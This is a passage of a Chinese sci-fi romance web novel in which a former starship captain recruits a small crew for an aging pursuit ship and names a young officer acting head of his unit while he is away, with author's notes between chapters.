闻铮失笑：“原来你在担心这个。” 黎晓反问：“我不应该担心吗？” 闻铮看向这个街区，7号星的夜幕降临的很快，这个星球的自转周期是28小时，而日照时间仅有七小时，大部分时间都停留在沉默的黑夜里。 而这每日都长达三倍的黑暗，显然掩盖了太多东西。 “你不需要担心，”闻铮轻声说，“我这个人不是什么善良的人，我也会为了我想要达到的目的而不择手段，但我不会去要挟仍对他人抱有善意的人，所以我会替你保密。” 高悬的路灯下，闻铮看向黎晓，娃娃脸的Omega正愣愣地也看着他。 “这是艰难又高尚的行为，你愿意为了弱势者承担风险，代表着你有着一颗善良的心。” “我没有握着你的把柄，我是希望我能在了解真相的前提下，尽量地保护你，能让你愿意继续对弱者抱有这样珍贵的善意。” 在昏黄的街灯下，黎晓睁大眼睛看着他，这个黑发黑眼的Alpha瘦削修长，并不是常规印象中可以提供绝对安全感的魁梧身形，但不知为何，在此时此刻，黎晓突然在他面前获得了从未感受过的安定感。 “戈维说得没错，欧赫和欧睿的存在并不会让这里变得更好，但你会。” 闻铮笑了一下，这是黎晓自认识他以来，第一次看到他这样的笑容，让他完全移不开目光。 “你说Omega不被允许去星舰军校轮机学院就读，但我认为你比任何Alpha都更符合联邦星舰军校的校训——” 黎晓大震，他能感受到自己眼眶的湿润，下一秒，他难以自控地和闻铮同时出声喃喃道：“——‘穿越逆境，直抵繁星[1]’。” 泪水一滴一滴从他眼眶里掉下来，半晌，Omega扭开脸，声音闷闷地问：“……你想让我做什么？” “我想请你再捡起曾经的野心和梦想，”闻铮道，“重新回到繁星之中。” 黎晓猛地转过头来！ …… 星中央拘留所是一个独立的园区，通体都是无一丝杂质的银色，透露着无机质的冰冷。 戈维跟着狱警走进其中一个区域，他猜到这里应该就是闻跟他说过的单独监禁室，每一个格子间都是封死的银色墙壁，他甚至都没看到门在哪里，唯有顶部有一个半米见方的长虹玻璃，应该是方便狱警巡逻时掌握各监禁室动向的窗口。 说完全不怕是不可能的。 戈维紧紧地抿住嘴唇，这里太过安静，几乎到了死寂的地步，哪怕没有狱警或其他囚犯的恶意为难，光是在这里被关上十年，也足以让一个活生生的人崩溃。 也许这才是监狱的意义，戈维出神地想，让所有犯了罪的人得到非肉|体|意义的惩罚。 到了这一刻，他倒是也没有自怨自艾，他知道一定会有人为了欧睿的死付出代价，这个人他更愿意是自己而不是苑苑。 而苑苑现在能获得他们一直梦寐以求的自由，他已经心满意足了。 就在他出神的时候，走在他前方的狱警停下脚步，用手里的什么东西按上了银色的墙壁，眼前的这个格子间的银色墙壁就在眨眼间开始变形，逐渐扩充成一个只供一人出入的门形入口。 无机质的人工智能声音响起：“星中央拘留所单独监禁3区区域长科林.斯塔克，身份虹膜认证。请将负责犯人戈维.斯坦利押入3区-121监禁室，入口将在30秒后关闭，现在进入倒计时。” “30，29，28……” 戈维听到以后心里微微一动，科林.斯塔克？会是闻和他说过的那个科林吗？ 狱警带着全套装备，根本看不见脸，戈维只能乖乖进去监禁室，科林.斯塔克用10秒的时间对他宣读了规章守则，在仅剩8秒的时候以极低极快的语速道：“我得到消息，在这里已经有人盯上你了，我会帮闻指挥官尽力保护你，但你、千万、不要、相信任何人！” 戈维瞪大了眼睛，还没等他问出口，科林对他竖起一根手指示意他噤声，在最后两秒的时间里退出了监禁室。 那个一人入口瞬间消融回银色的墙壁，这个小小的十平方米的监禁室里，只有戈维才是这里面唯一的活物。 压抑和绝望扑面而来，戈维窝在了墙角，在这个时候，他突然好奇，在和这些无机质融为一体之前，自己还能保持多久的生命体征呢？—— 作者有话说：注：[1]“穿越逆境，直抵繁星” 参详出处： 1）拉丁谚语，Per Aspera ad Astra《三体》刘慈欣； 2）Ad astra Per Aspera，1861年，美国kansas州将其定为州训，意为“通过苦难，抵达星辰”—— 小剧场： 小裴（注视着和闻哥1on1的黎晓）：我会……一直……盯着……你…… 黎晓：有病啊！！！！！ 感谢34402499、_Truamtru、杂食但间接性养胃的营养液！掉落酒杯x1！ 第45章 他都必须跟我走！ “……现在是凌晨一点半。” 金发青年打开房门, 睡眼惺忪，十分无语地看着眼前的上司：“闻哥，冷知识, 我们正常人类是需要睡眠的。” 黑发青年倚在门边, 看着自己信任的下属和忠诚的朋友，笑着举起了手里的酒瓶：“喝一杯？” 凯利斯：“现在是凌晨一点半！！！” 你好？hello？Bonsoir？Hola？有在听我说话吗？！ 你自己睡眠缺失到快变成不需要睡眠的苏里米亚人了，不代表我也是！ 闻铮假装没听见他说话, 五分钟后，他已经坐在了凯利斯家的阳台上，强迫自己的朋友和自己大半夜喝酒。 凯利斯拿起那瓶威士忌，仔细地辨认了一下上面的文字：“这是什么, 克利切语？7号星没有这玩意儿的, 你从哪里搞来的？” 闻铮惊讶：“我怎么不知道你还会克利切语？” 凯利斯翻了个白眼：“我不会, 我是你的大副兼战术官，不负责通讯！虽然看不懂是什么意思，但我起码认得出来这像虫子一样的文字绝对是克利切语！” “利切尔之前送我的, 他知道我睡不着觉，让我睡觉之前可以喝一杯。”闻铮道, “我试了一次，没什么效果，所以没再喝了，但我觉得你应该会喜欢这个味道。” 凯利斯拔开瓶塞，闻了闻, 刚才还困得睁不开的眼睛瞬间清醒了：“……我靠！” 闻铮看着他笑。 凯利斯只比他小两岁，他们两个是在悬空号上认识的，满打满算认识了五年。 第一年，闻铮是被派到悬空号上的战术派遣军, 凯利斯是刚从星舰军校毕业，打败了几千名竞争者才获得到悬空号上见习机会的战术学员。 第二年，战争正式打响，闻铮在机缘巧合之下、千钧一发之际被委任临时代理舰长，带着悬空号512名舰员打赢了与德瓦帝国的第一战，一战成名。 第三年，闻铮被破格擢升为悬空号舰长，他上任第一件事便是申请凯利斯作为他的第一大副。从此凯利斯追随了他三年，从星际舰队到暗影组，从宇宙繁星坠落到7号星球，他的朋友始终忠诚如一。 “……抱歉。” 闻铮突如其来的道歉让凯利斯一惊，倒酒的手都抖了：“啥？！” “抱歉，”闻铮看着他绿色的眼睛，轻声说，“有的时候我经常会想，当年我不应该同意让你跟着我一起离开，不然你现在已经是悬空号的舰长了。” “……说什么呢。” 凯利斯摆了摆手：“我们是利益共同体，你走了以后，难道星际舰队那帮老不死的还会留着我么？” 这一点闻铮是知道的，他摇摇头：“不管怎样，也许都比你在这里跟着我要好。” 他把目光移向了窗外暗沉的夜空，似乎在对自己说：“三年过去了，我在这里确实抓了不少德瓦帝国的人，但一直都没有得到我想要的，我也不知道还要多久才能得到，有的时候我也会质疑起自己在做的事情是否正确，但我知道我已经没有别的路可走。” 凯利斯倒了两杯酒，把其中一杯递给他：“联邦和德瓦帝国已经签订了《战争修整与互不干涉条约》，在这个冠冕堂皇的桎梏之下，联邦绝不可能主动撕毁条约，也决不允许任何代表联邦的挑衅行为发生。你不离开星际舰队，就绝对无法找到你父母死亡的真相，闻哥，你当年是真的没有别的办法了。” 闻铮轻轻地叹息。 “我和星际舰队……有很多观念相左的地方。战时，我不认可联邦军部处理某些问题的手腕，但为了保卫联邦，守住疆土，作为军人只能服从命令。而在卡斯洛克之战以后，战争平息，一切就又变成了一场政治游戏。” 闻铮的右手轻轻敲打着桌面，嗓音沙哑：“如果话语权真的被主战派捏在手里，那距离联邦成为下一个德瓦帝国，还要多久？” 两个前联邦星际舰队的军官面对面，沉默地喝完了杯子里的酒，凯利斯要给他倒第二杯，闻铮阻止了他。 他指了指窗外的夜空：“你还想再飞起来吗？” 凯利斯动作一顿：“你说什么？” 闻铮把利切尔给他破晓号的事情和凯利斯说了一遍，凯利斯大惊失色：“利切尔副局长给你一艘什么，星舰？！” “外遣追击星舰。”闻铮纠正他，“暗影组曾经辉煌时候配备的轻量级星舰，最大容量20人，最少配备4人。” “四人？”凯利斯微微皱眉，“舰长，大副，舵手，轮机长，战术官，相位穿梭官，通讯官，医疗官……这些都是一艘星舰必需的职能，四个人怎么可能撑得起来？” “事急从简，”闻铮道，“你说的是中型星舰以上的配备，我在7号星上哪儿去找这么多具备登舰能力的人才？” “简还能简到什么地步？再怎么简也简不到四个人吧？” 凯利斯怀疑自己喝多了，怎么脑子完全跟不上闻铮的思维速度。 “这你不用担心，我已经有安排了。”闻铮露出一个极罕见的狡黠笑容，“你只需要考虑你是否加入就行了，我的大副及战术官。” 凯利斯怒：“……这他妈还用考虑啊！” 闻铮举起了酒杯：“那就希望我们两个都还记得怎么飞吧。” 凯利斯：“你那杯里都没有酒了，装什么！” 两个人对视一眼，都大笑出声。 笑完之后，凯利斯若有所思：“暗影组的人你要都一起带走吗？” 闻铮摇头：“带不走，他们都没有登舰能力，此去一切都是未知数，我没有完全的把握能护住他们，所以不想让他们冒险。” “更何况，我也需要有人留在7号星。德瓦人在外偷运蓟梨草，在内制造非法致幻剂试验，这背后的原因和目的我们都还不清楚，他们在7号星接下来一定会有异动，这里必须要留人看着。” 凯利斯点头：“那你应该会把临时指挥权交给瑜淞吧？他心思细密城府深沉，会帮你把7号星的事情搞定的。” 闻铮给自己倒了浅浅一层酒，摇摇头：“不，我会把临时指挥权交给江悦。” 凯利斯：“……啊？” 他以为自己听错了，还特意重复确定一遍：“江悦？你确定？” 闻铮抬眼看他，似笑非笑：“怎么，你认为江悦做不到？” “事先声明，我没有冒犯的意思。”凯利斯头痛，“江悦能力是很突出，学得也很快，我也认可她的潜力不可估量。但她现在还太稚嫩了，这个阶段的她撑不起来暗影组的。” “我一直认为，领导力是一个很玄的东西。” 闻铮想到了什么，目光怅然：“就像艾德莱斯上将在那一天选择让我成为临时舰长一样，我不知道他在我身上看到了什么特质，才让他愿意进行这样一场豪赌。” 凯利斯也想起了他们曾经共同服役时的舰长：“艾德莱斯上将赌赢了，你确实成为了联邦星际舰队历史上最出色的上将和舰长之一。” “所以我希望我也能赌赢。” 闻铮想到那个有着一双鹿角的小姑娘，笑了笑：“江悦的骨子里是很坚韧的，她从这个星球的底层爬起来，哪怕被打压和欺凌也从没有放弃。她现在是很稚嫩，但她身上有一种瑜淞和戴维尔都没有的东西。” 凯利斯追问：“是什么？” 闻铮没有回答。 “瑜淞是这里最聪明的人，比你和我都要聪明。”闻铮又转而谈起了林瑜淞，“我和你的想法截然不同，我认为在暗影组这几个人里，最不适合做指挥官的人就是瑜淞。” “他是一个很好的谋士，天生的谋略家，但他缺少一个领导者最应该具有的特质——共情力。” 闻铮想起了什么，有些好笑地摇摇头：“说起来，抛去其他的不谈，在这些人中，最适合做暗影组指挥官的人，并不是现阶段的江悦。” 暗影组一共就这么几个人，凯利斯一惊：“啊？你不会说的是戴维尔吧？我不认可啊，他每天说的话都不超过十句！” 像个影子一样神出鬼没又沉默寡言，虽然做事利落靠谱，但很明显不适合做指挥官啊！ 闻铮把酒杯轻轻放在桌子上，慢慢道：“……裴简珩。” 这个空降而来的年轻Alpha，在短短一个月不到的时间里，展现出了他超凡脱俗的素质能力，灵活缜密的思维运作，恰到好处的忠诚以及值得赞许的同理心。 如果他不是这里唯一一个会掌舵的飞行官，闻铮是真的考虑过让他暂代暗影组指挥官的。 凯利斯这次是真的大吃一惊，今天晚上闻铮给他带来的震撼有点太多了。 他倒是没有质疑闻铮对裴简珩的高评价，毕竟裴简珩的能力他们所有人都看在眼里，他震惊的是闻铮对裴简珩的态度。 “稍等一下，一个月前你不是还要把人家干掉的吗？怎么对他的态度一下子翻天覆地了？你不担心他知道你的身份了？” “我打探过，你也打探过，他看起来并不知道我的秘密。”闻铮莞尔一笑，“就算知道了又能怎么样？我现在被逼到这个份上，无论如何，破晓号都必须要起飞，而他是唯一一个能做到这点的人。” “利用他也好，信任他也好，”闻铮漆黑的眼底闪过一丝决然，“裴简珩，他都必须跟我走！”—— 作者有话说：小剧场： 凯利斯：当你的朋友兼上司是不需要睡眠的高能量人，你也会和我一样无助。 —————— 恭喜小裴在第一阶段获得闻哥的能力认可！ 接下来是新地图啦！小裴会加速追闻哥的进度了，距离再一次爬上闻哥的床很快啦！[熊猫头] 第46章 欢迎登舰 第二天上午, 闻铮在自己家门口捡到了三个人。 凯利斯、裴简珩和黎晓。 每个人都在约定时间的前十五分钟到达，在闻铮下来之前，三个人站在他家楼下面面相觑。 “稍等一下, ”凯利斯还伸出手揉了揉眼睛, 以为自己看错了，“他在这里我能理解，你怎么也在这里？” 他指的人是裴简珩, 问的人是黎晓。 娃娃脸的清秀Omega对他假笑了一下：“我记得你，你和他一起来过我的店里，一个屁也没放。” 凯利斯：“……” 好粗鲁的Omega，和他在首都星遇见过的Omega确实都不一样呢。 裴简珩也有点迷惑, 他和凯利斯一样, 对黎晓为什么出现在这里有点不解。但他之前就发现了闻铮对黎晓的态度有些不同, 这么一看他的出现，倒确实是意料之外，情理之中。 凯利斯见裴简珩没有像他一样惊讶, 用胳膊肘捣了捣他：“你知道他在这里干嘛的吗？” 裴简珩摇头，闻铮也没和他说都有谁。 黎晓双手环胸, 上下审视了一下凯利斯：“他在这里我也能理解，你是谁，你为什么在这里？” 凯利斯：“……” 好熟悉的一句话。 裴简珩举起双手：“……我没惹你们。” 黎晓动了动鼻子，闻到了一丝酒香，有点嫌弃：“原来你也是Alpha。” 对这个全是Alpha的世界无语了。 不过说起Alpha, 黎晓把目光移向裴简珩，又看了看楼顶。 现在想想，这两个Alpha的信息素味道，他好像从来都没闻到过。 好奇怪, 他怎么会没闻到过？ 凯利斯忽然一把抓住黎晓的胳膊，惊异：“你在干嘛？” 黎晓这才反应过来，他刚刚在围着裴简珩一边转圈一边闻他的信息素。 “……呃，”他挠了挠头，干脆直接地问，“你这个身形和力量，绝对也是Alpha，为什么我没闻到你的信息素？” 凯利斯：“……” 凯利斯艰难道：“这算职场性骚扰吧？” 虽然还没正式登舰，但闻哥把他们召集到一起，很明显接下来就是一个团队的。结果还没出发，团队里唯一一个Omega先是挑衅一个Alpha，又是“骚扰”另一个Alpha，这对吗这…… 裴简珩后退一步，礼貌性回答：“你闻不到的，我用了Alpha长效抑制剂。” 黎晓闻言睁大眼睛，显然难以置信自己听到了什么。 一个会主动用长效抑制剂的Alpha？！这是什么童话故事吗？！ 苍天啊，他突然对自己的职场环境抱有信心了！ 黎晓对裴简珩的任何意见立刻烟消云散，由衷地对他竖了一个大拇指：“不但年轻，身材好，长得帅，有钱，还很守A德，我宣布你是我有生以来遇到质量最好的Alpha！” 在场的另一个Alpha：“……等一下，怎么感觉我被骂了。” 被夸的当事人倒是笑了：“上次给你的五万星币，你花完了吗？” 黎晓立刻戒备起来：“就算我们即将成为同事，你也休想把钱要回去！” 凯利斯一头雾水：“什么钱？哪来的五万？你们还有金钱交易？！到底在说啥？？” “你们来的挺早。” 闻铮刚一出门就看见这三个人已经热火朝天的聊起来了，隐隐约约捕捉到了一些只言片语：“谁花钱买了什么，A德又是什么？” 凯利斯知道闻铮一惯不喜欢上星网冲浪，对很多年轻人的爱好和用词也是一窍不通，当即转移话题：“没什么，就是闲聊聊，我们现在去哪里？” 闻铮也没纠结，他按下通讯，把自己的悬浮车召唤过来：“相信你们也都认识彼此了——” 他对他们笑了笑，右颊边的梨涡若隐若现：“——那现在就去看看我们的星舰吧。” 三个人都是为之一震。 凯利斯和黎晓都对“星舰”这个词顿觉恍若隔世，而裴简珩，他脑海里回荡的都是闻铮的笑容和那句“我们”。 他好像，终于能离他近一点了。 …… “这个……规格和样式的星舰，我还真没见过。” 凯利斯摸了摸下巴，有些新奇。 闻铮带着他们来到了利切尔副局长下放权限的军方星舰港，四个人站在破晓号面前，仰望着这艘170米的轻量级追击舰，各有所思。 联邦的主力星舰类型，以悬空号为例，均是以碟形为主的，长度在500至800米之间不等，可最多容纳1000人。 而眼前的“破晓号”则是十分短小精悍，是独特的狭长导弹形状，长度仅有150米，舰体厚重，棱角分明，没有任何多余的装饰，只有在舰尾才有白色的联邦标志和型号喷绘。 入口处闻铮通过虹膜、掌纹和生物信息扫描验证了身份，随后一个中性的机械声音响起：“欢迎登舰，闻舰长。” 闻舰长。 ……三年多没有再听见这个称谓了。 闻铮恍惚了一下，他从入口处走到了“破晓号”的舰桥指挥室，看着略有些陈旧的设施，一时之间有些惘然。 他的目光聚集在舰桥指挥室中心的那把舰长椅上，恍惚间似乎看到他母亲坐在上面号令全舰的身影。 不过眨眼之间，又都消散无踪了。 等他的视线再次聚焦的时候，他发现剩下三个人都十分自觉地各司其职去了。 黎晓已经不见了踪影，估计是跑到轮机室去查看脉冲引擎和反应堆了。 凯利斯看了一圈这个陌生的舰桥指挥室，最后找到了自己的工位坐下，开始检查“破晓号”的战斗与防御系统。 而裴简珩，他直接坐到了最前方主舵手的位置，熟悉“破晓号”的仪表盘和掌舵系统。 闻铮按下了舰上通讯：“黎晓，轮机室情况如何？” 通讯那头传来了Omega有些激动的声音：“我建议你来看一下！” 闻铮按灭通讯，立刻前往轮机室。 轮机室同样需要权限确认，闻铮拥有全舰最高权限，一秒之内就踏入了轮机室，这里全是各种引擎和巨大的仪器，他一眼扫过去心里微沉，黎晓一个人，能撑得起来轮机室全部的工作吗？ “这里！” 黎晓从轮机室控制室探出头来，对闻铮挥了挥手。 闻铮跑过去，就看见他的眼神亮亮的：“这艘几十年前的星舰，居然还真的有空间动力核啊！” 他闻言，松了一口气，再次确认：“这就代表着我们是可以进入空间迁跃模式的对吗？” “能倒是能，”黎晓啧了一声，“但这个空间迁跃反应核的科技水平和版本比较低了，最多只能进入空间迁跃4级，二锂晶体能供给的能量也比较低，能支撑的空间迁跃里程很短的——” 闻铮无奈地打断他：“我知道，因为这只是一艘几十年前的外遣追击舰，不是巨型战舰。” 黎晓这才讪讪道：“是哦，但我们确实是可以进入空间迁跃模式的，这个你放心。” 闻铮笑了，拍了拍他的肩膀：“交给你了。” 黎晓感受着他掌心的温度落在自己的肩膀上，下意识地张张嘴，他注视着这个黑发Alpha的身影逐渐远去，在他打开轮机室的闸门之前出声叫住了他。 “……闻哥。” 闻铮被他叫住，有些疑惑地转过身：“怎么了？” Omega遥遥地看着他，双眼盈盈似有水光：“为什么这么信任我？我已经两年没有进过轮机室，也没有碰过这些东西了，只要我一个操作失误，这艘舰上的所有人都会一起没命！你就不担心吗？你怎么能这么信任我，你怎么就能这么信任我？！” “……因为我知道你。”闻铮几不可见地叹了口气，“你曾经是整个联邦最顶尖物理学家的首席弟子，你难道做不到吗？” 黎晓骇然，甚至感到一阵腿软，失声：“你怎么会知道！” 他原本以为，眼前这个黑发青年只是知道了他曾经是星舰军校轮机工程学院的学生而已，他怎么可能连自己这个身份都知道？！ 怎么可能？！ 黎晓用尽全力冲过去，抓着闻铮的领子把他按在闸门上，双眼赤红：“你绝对不是7号星上一个普通的指挥官，你到底是谁？！” 他常年在轮机室里，力气比其他的Omega都大，但他面对的是从16岁开始就在联邦战术派遣军前线摸爬滚打的闻铮，后者轻轻地掰开了他的手，哪怕被抓住衣领也没有生气。 “现在我还不能告诉你，但总有一天你会知道的。” 他看向黎晓因为激动而含泪的眼睛，轻声说。 “而我有一种预感，这一天不会远了。” …… 舰桥指挥室 凯利斯摸索一阵，熟悉了“破晓号”上的武器系统，忍不住咂舌：“攻击武器是有点少啊，只有相位炮阵列和四发鱼雷，鱼雷也是比较早的版本了，真要是打起来，可打不过那帮德瓦人的战舰啊。” 舰桥现在就他们两个人，裴简珩知道他在和自己说话，于是一边调试控制台一边答：“我觉得，如非万不得已，闻哥应该不会和德瓦人起冲突。” 凯利斯闻言，把旋转座椅转过来看向他，诧异：“你从什么时候也开始叫闻哥了？”—— 作者有话说：小剧场： 凯利斯（眯眼）：不对劲，你们两个不对劲，我到底错过了什么？？怎么感觉突然看不太懂了？？ ——— 感谢34402499、杂食但间歇性养胃、西江月的营养液！掉落控制台模型x1！ 感谢珍白雪w的地雷！掉落光子鱼雷模型x1！ 第47章 开了几年的星舰啊 面对凯利斯的问题, 裴简珩眨了眨眼，颇有些无辜的神色：“啊，不可以吗？” 凯利斯一哽。 倒也不是说不可以, 但怎么感觉这个裴简珩啊, 突然变得茶里茶气的…… 不对劲，好像不太对劲，这是Alpha么？ 凯利斯摇了摇头, 把奇怪的念头甩出脑海，赶紧换了一个话题：“不过我倒是没想到你居然会开星舰，怪不得你能有中校的军衔。” “中校的军衔是我在联邦前锋突击卫时候得到的，”裴简珩对他笑了笑, “我在从星舰军校毕业的时候已经是上尉了。” “啊？！” 凯利斯大惊失色：“一般学员毕业的时候不都是少尉吗, 你怎么会一毕业就是上尉？” 你这什么起点啊！ 裴简珩揣着明白装糊涂地反问：“咦, 你这么熟悉星舰，肯定也上过星舰军校吧？并且你还这么了解星舰的武器系统和安全系统，你之前也在星际舰队服役吗？” 凯利斯：“……呃。” 这要怎么解释！ 总不能说——没错, 我之前甚至在传说级别的“悬空号”上当二把手哦！想不到吧！ 凯利斯大副的脑子转得速度之快，快到裴简珩都能听见呼呼声了：“呃, 我毕业以后就跑了，没进军队，哈哈……实不相瞒，我这个人吧，平时就是爱看点和星舰相关的书和论文, 最喜欢研究武器系统了，哈哈。” 裴简珩恍然大悟，假装相信了他的胡扯：“哦~” 凯利斯偷摸擦一把汗，生硬地又把话题转回裴简珩身上：“那你从联邦前锋突击卫出来以后, 又开了几年的星舰啊？” 裴简珩对他露齿一笑，看着像大型犬一样无害，实则眼底都是促狭的光：“满打满算的话，21个小时吧。” 凯利斯：“……” 凯利斯：“……” 凯利斯：“……” 什么啊！！ 你到底会不会开星舰啊！！ 我不会没死在德瓦人那儿先死在你这小子手里了吧！！！ 这时，全舰调度人工智能的声音响起：“舰长抵达舰桥。” 闻铮一踏进舰桥指挥室，就看见凯利斯额头冒汗，正无语又惊恐地看着裴简珩，奇怪：“你怎么了？空调系统坏了吗？” 他感受了一下温度：“也没有啊。” 凯利斯虚弱地撑着旋转皮椅坐下，自闭地转了过去：“……没事……我想离舰了……” 闻铮又奇怪地看向裴简珩：“你对凯利斯做什么了？” 裴简珩用那双蓝汪汪的眼睛无辜地回看过去：“没有啊，我哪里会对他做什么，我只是问凯利斯他怎么会这么了解星舰的武器系统，是不是之前在星际舰队服役，他和我说是自学的。” 闻铮：“……” “然后他问我开过多久的星舰，我说满打满算21个小时。” 闻铮：“……” 他突然感觉有点头痛。 破晓号沉寂这么多年后的首次航行，就是去追击凶残的德瓦人。 而配备的舰组人员分别是两年没碰过轮机和空间迁跃反应核的轮机长、靠“自学”了解武器系统的大副兼战术官、只实质开过21个小时星舰的舵手兼领航员，以及三年没指挥过星舰的舰长。 好啊，这艘星舰好就好在……好啊！ 闻铮感觉自己的额头青筋开始一跳一跳的，突然不知道这个选择到底是对是错。 …… 次日，暗影组。 江悦打着哈欠上楼，和正在倒水的林瑜淞打了个招呼：“早啊瑜淞。” 林瑜淞对她笑笑：“早，你怎么这么困？昨天下班不是挺早的么？” “不知道啊，我一直没睡着。”江悦苦着脸，“翻来覆去的，其实很困，但就是感觉大脑皮层还很活跃，入睡困难，满打满算估计也就睡了三四个小时，总感觉有什么大事要发生。” 林瑜淞抬手就轻轻弹了她一个脑瓜蹦：“胡说什么，我看你就是睡觉之前去打拳了，皮质醇水平升太高才睡不着的。” 江悦咂了一下舌：“有道理。” 她朝指挥官独立办公室探头探脑：“闻哥来了吗？” “来了。”戴维尔说，“我看见他刚才和凯利斯在茶水间说话，他还让我转达你们十点二十五分开会。” 林瑜淞低头看了一眼通讯，无语：“现在是十点二十三分，你打算什么时候告诉我们？” 戴维尔茫然地回看他：“现在啊。” 林瑜淞：“……” 他觉得之前凯利斯和他说的那句话很对。 在裴简珩来之前，暗影组不算闻哥有四个人，共享四个脑子。 江悦和凯利斯一人一个，戴维尔算半个，自己算一个半。 同样的，战力也是四份，江悦和凯利斯依然是一人一个，自己算半个，戴维尔算一个半。 两分钟时间到了，闻铮从茶水间走了出来：“大家有空吗？开个短会。” 所有人都正了脸色朝着闻铮聚集，林瑜淞不经意地扫过去一眼，发现跟着他一起从茶水间出来的不止凯利斯一个人，还有裴简珩。 ……有意思哦。 他挑了挑唇角，看来某人的赌约要输咯。 “今天这个短会有两件事宣布。” 闻铮今天依然穿着黑色修身衬衫和黑色西裤，显得他整个人单薄又凌厉。 “第一件事，裴简珩和我追查到了有人在私底下高价回收蓟梨草，我们顺着线索去查，发现是德瓦帝国的势力。他们把绝大多数搜集到的蓟梨草运回德瓦帝国，一小部分留在7号星。” “留在7号星？”林瑜淞若有所思，“继续和B-356物质一起，来用这里的人类和艾尼默人做实验么？” “其实主要是人类。”江悦补充道，“目前因为这批非法致幻剂致死的都是他们，以低级别的B-级Alpha居多。” “嗯，”戴维尔也一道补充，“我在街头打听过，这一批非法致幻剂不是谁都能买到的，但丁在分销的时候就定了规矩，只兜售给人类，如果艾尼默人要买，价格翻倍。” 江悦皱眉：“这是搞什么，要害也不害自己种族的人？” “再查一下。”闻铮出声道，“瑜淞你负责这个方向，我有一种隐隐的预感，但丁绝对不是所谓的种族保卫者。” 说不定是专门针对人类来的…… 更何况，这个人到底是不是但丁还未可知。 想到这儿，他下意识地看了一眼发现但丁身份问题的裴简珩，后者也正朝他看过来，两人视线在空中短暂地交汇过后，闻铮移开了目光，而裴简珩的眼神依然落在他身上。 “他们是通过商业星舰先将蓟梨草偷偷运到中转星，再转运回德瓦帝国的，所以我会带着凯利斯和裴简珩前往追踪。” 林瑜淞一怔：“你们怎么追踪？” 闻铮道：“利切尔副局长给了我们一艘船，是曾经暗影组配备的外遣追击舰。” 江悦瞪大了眼睛：“闻哥，你会开星舰？！” 天呐！ 闻铮看了一眼裴简珩：“我不会，裴简珩会。” 江悦更惊呆了：“你不是关系户吗？还会开星舰啊？” 裴简珩：“……” 终于是把你们心里话说出来了。 他有点好笑，可能是因为此前一同并肩拦着欧赫的政治团队，他们的关系也熟络了起来，暗影组的这些成员也不再对裴简珩防备过重，倒是越来越互相开得起玩笑了。 林瑜淞和凯利斯都在旁边忍不住笑。 就连闻铮，右颊的小梨涡都短暂地一闪而过。 等大家都稍微轻松了一下之后，闻铮又把话题拉回来：“所以三天后，我们三个会以缉拿一个联邦逃犯的名头前往中转星特安斯特-B，但实际是为了追踪德瓦势力。在过程中，我会给你们一个加密通讯频道，有任何新的进展或者什么问题，都可以通过这个加密通讯频道联系我们。” 他看向面前的一个Alpha，一个Beta还有一个艾尼默鹿属，轻声道：“……这里就拜托你们了。” 林瑜淞、戴维尔和江悦都是神色一凛。 江悦立刻应道：“放心吧闻哥，我会乖乖听瑜淞调遣的！” 戴维尔也在一旁默默点头。 所有人都默认了，在闻铮不在的时候，暗影组的临时指挥权会交到林瑜淞手上。 闻铮从江悦的头顶望向了林瑜淞，两个人的目光一触即分，像是从没对视过一般。 旁人都没有注意到，除了一直隐隐关注着闻铮的裴简珩。 在一秒之内发生的这一幕，他悉数收入眼底，忍不住微微挑眉。 “在我不在7号星的时候……”闻铮的目光放在了江悦脸上，看着她那双还略显稚嫩的鹿角停顿了2秒，还是狠下心道，“暗影组的临时指挥权由江悦暂代，林瑜淞和戴维尔均汇报给江悦，即日生效。” 此语一出，暗影组办公室一片死寂。 江悦猛地抬眼看向闻铮，清秀的脸上满是惊愕！ 她听到了什么？！ 由谁来暂代？！ 她看向了闻哥，闻哥的脸上没有任何开玩笑的表情，严肃冷冽得一如既往，而其他人的脸上都明晃晃写着和她一模一样的惊愕—— ——除了林瑜淞。 因为她在此刻，根本不敢去看林瑜淞的表情。 就连戴维尔都忍不住踏前一步：“闻哥——” 闻铮抬手制止了他接下来的话：“都听清楚我的话了吗？” 又是一片死寂。 半晌，一个淡淡的声音响起：“很清楚，闻指挥官。” ——是林瑜淞。 江悦的心脏砰砰砰地跳了起来。 天呐……—— 作者有话说：小剧场： 江悦：谁，我吗？（小鹿惊恐.jpg—— 破晓号四人组，每个人都有至少一层的马甲在身上，你们几个怎么回事啊，玩剧本杀吗（不是 以及！今天的第二章更新在晚上十点！以后的更新时间也都换到22:00啦！之前有人算过说我适合在上午更新，但目前看下来他算的也不准[愤怒] 第48章 我知道你能做到 在闻铮宣布了接下来的人员安排后, 场面一度陷入了尴尬的凝滞。 始作俑者像是没有注意到任何异样，淡淡道：“解散。” 所有人都神志恍惚地离开，江悦仍然欲言又止地留在那里, 闻铮看她：“怎么了？” 江悦也不傻, 她看得出来闻铮在明知故问，也咬咬牙小声问：“闻哥，我能和你聊两句吗？” 闻铮猜到她会来问自己, 也丝毫不惊讶，示意去自己办公室聊。 江悦一进到这间玻璃办公室里就更紧张了，这里凯利斯来的最多，其次是林瑜淞, 她基本上除了刚转过来那天, 之后就再也没来过。 闻铮作为暗影组的指挥官, 确实会以双月一次的频率和自己的手下进行一对一的例会谈话。她原本很紧张，因为在凶杀重案组，每个月和她上司的谈话对她来说都是一场人格羞辱的精神酷刑。 但她没想到, 和闻铮凌厉的外表与狠绝的风格截然不同，每次的一对一例会, 闻铮都会请她出去喝咖啡或者吃饭，以很轻松的方式来聊聊她这一个月以来有没有什么困扰，不管是工作上还是生活上。 或者想不想加点工资或者升个职，他可以去和利切尔副局长讨论一下，只要在努力地完成任务目标, 一般来说没什么问题。 刚开始的一两次江悦还觉得大事不妙，杯弓蛇影导致她不禁想过，难道这个暗影组的指挥官也想潜规则自己吗？后面才发现自己实在是想多了，先不说他对手底下每个人都是这样做的, 她也着实怀疑这位指挥官在这个世界上到底会不会看上什么人， 也因此在暗影组，不存在任何的勾心斗角或者办公室政治，所有人都是为了他这个人才来到这里的。 江悦能感觉自己的鹿角上缓缓流下一滴汗。 但怎么从刚才开始就不太对了…… 闻铮坐在了自己的位置上，眼前这个清秀的女孩面露纠结之色，简直像一本摊开的书一样好懂，他笑了笑主动问：“你想和我聊点什么？” 江悦被他的声音从出神中拽了回来，立马垮下脸：“闻哥，我……您……为什么？” 闻铮替她说：“你想问为什么我让你来做代理指挥官，而不是瑜淞，对么？” 江悦猛点头。 “因为你更适合，我也知道你能做到。” 